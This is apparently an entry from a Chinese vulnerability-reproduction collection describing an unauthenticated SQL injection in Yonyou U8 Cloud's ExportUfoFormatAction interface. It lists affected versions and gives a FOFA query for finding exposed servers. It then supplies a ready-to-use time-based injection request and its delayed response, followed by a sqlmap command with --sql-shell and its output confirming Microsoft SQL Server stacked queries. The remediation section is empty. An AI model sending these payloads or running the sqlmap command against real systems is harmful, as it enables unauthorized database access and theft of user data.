

## Y3-32用友-U8-Cloud-SQL

### 漏洞描述:

用友U8 Cloud ExportUfoFormatAction接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

### 影响版本:

version = 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp

### 网站图片:

 [下载页面](#)

请下载新版UClient  
开启U8 cloud云端之旅

立即下载 ↓



### 网络测绘:

#### fofa语法:

FOFA: app="用友-U8-Cloud"

#### 360quake语法:

#### Hunter 语法:

### 漏洞复现:

#### payload:

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=$repID=1%27);WAITFOR+DELAY+%270:0:5%27---+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

#### 效果图:

延时5秒

Request

< > 数据包扫描 美化 热加载 构造请求

1 GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=&repID=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Accept-Encoding: gzip

5 Connection: close

Responses 6072 bytes / 5207ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=FAC044FD2BC3EAC3A0

4 Content-Type: text/html; charset=UTF-8

5 Date: Wed, 03-Apr-2024 14:32:32 GMT

6 Connection: close

7 Content-Length: 6072

8

9 <html>

10 <head>

11 <meta content='text/html; charset=UTF-

12 <meta content='IE=EmulateIE8' http-eq

13 <title>

14 错误提示 - iUFO

15 </title>

16 <link href='/iufo/web/images/UF.ico'

17 <link href='/iufo/web/css/iufo.css' t

18 <link href='/iufo/web/css/menu.css' t

19 <script type='text/javascript' src='/

20 <script type='text/javascript' src='/

21 <script type='text/javascript' src='/

22 <script type='text/javascript' src='/

23 <script type='text/javascript' src='/

Sqlmap验证:

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -u "http://192.168.1.100/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=&repID=1*" --sql-shell
```

H

V...

{1.7#stable}

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to abide by local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[\*] starting @ 22:40:15 /2024-04-03/

custom injection marker ('\*') found in option '-u'. Do you want to process it? [Y/n/q] y

[22:40:17] [INFO] resuming back-end DBMS 'microsoft sql server'

[22:40:17] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('JSESSIONID=D980FFE9C85...DC2.server'). Do you want to use those [Y/n/q] n

sqlmap resumed the following injection point(s) from stored session:

```
Parameter: #1* (URI)
  Type: stacked queries
  Title: Microsoft SQL Server/Sybase stacked queries (comment)
  Payload: http://192.168.1.100/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iuforeport.rep.ExportUfoFormatAction&method=&repID=1*;WAITFOR DELAY '0:0:5' --
```

[22:40:17] [INFO] the back-end DBMS is Microsoft SQL Server

Yaml模板

修复建议:

参考链接: